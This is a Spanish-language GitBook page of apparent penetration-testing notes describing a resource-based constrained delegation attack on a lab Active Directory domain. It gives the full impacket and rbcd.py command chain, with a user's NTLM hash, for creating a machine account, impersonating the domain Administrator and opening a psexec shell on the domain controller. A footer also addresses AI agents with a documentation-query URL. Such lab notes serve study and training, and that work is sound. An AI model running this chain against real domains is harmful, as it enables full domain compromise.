# Constrained Delegation Attack

Este ataque consiste en Suplantar identidades hacia servicios específicos abusando de permisos de delegación.

**Paso1: Tener un privilegio/permiso**

* SeMachineAccountPrivilege (tu caso) → Para crear computadora
* GenericWrite/GenericAll sobre una computadora existente
* Control sobre una cuenta con delegación configurada

<figure><img src="/files/7m8wQrSGOeHSpciybfmh" alt=""><figcaption></figcaption></figure>

**Paso2: Crear equipo controlado por mí**

En este caso lo hacemos con el usuario que tenemos acceso que es:

**l.livingstone:19a3a7550ce8c505c2d46b5e39d6f808**

```
impacket-addcomputer resourced.local/l.livingstone -dc-ip 192.168.167.175 -hashes :19a3a7550ce8c505c2d46b5e39d6f808 -computer-name 'ATTACK$' -computer-pass 'AttackerPC1!'
```

Podemos verificar que se creó correctamente desde la conexión con evil-winrm:

```
get-adcomputer attack
```

<figure><img src="/files/Wa9EaW4pvXb5kneIEaYP" alt=""><figcaption></figcaption></figure>

**Paso3: Configurar la "trampa de delegación"**

<figure><img src="/files/OokP58mx6BqX8Xsigkee" alt=""><figcaption></figcaption></figure>

```
# Dices: "El DC puede ser accedido por ATTACK$ en nombre de otros"

sudo python3 rbcd.py -dc-ip 192.168.167.175 -t RESOURCEDC -f 'ATTACK' -hashes :19a3a7550ce8c505c2d46b5e39d6f808 resourced\\l.livingstone
```

**Paso4: Comprobar que ha funcionado**

```
Get-adcomputer resourcedc -properties msds-allowedtoactonbehalfofotheridentity |select -expand msds-
```

<figure><img src="/files/dEgUnJKzncLV2VfkR4aa" alt=""><figcaption></figcaption></figure>

Algunas veces no sale nada aunque si ha funcionado.

**Paso5: Activar la suplantación**

Suplantamos al Administrador el DC

```
impacket-getST -spn cifs/resourcedc.resourced.local resourced/attack\$:'AttackerPC1!' -impersonate Administrator -dc-ip 192.168.167.175
```

<figure><img src="/files/aFc1p65xFii8vf6cbEzK" alt=""><figcaption></figcaption></figure>

Guardamos el ticket en nuestro Kali en una variable y lo llamamos KRB5CCNAME

```
export KRB5CCNAME=./<Administrador-loquesea.ccache>
```

**Paso6: Acceder con privilegios elevados**

```
impacket-psexec -k -no-pass resourcedc.resourced.local -dc-ip 192.168.167.175
```

<figure><img src="/files/7ZQfqubXDS14JGJ01vDz" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://alv-fh.gitbook.io/alv-fh/windows-privilege-escalation/constrained-delegation-attack.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
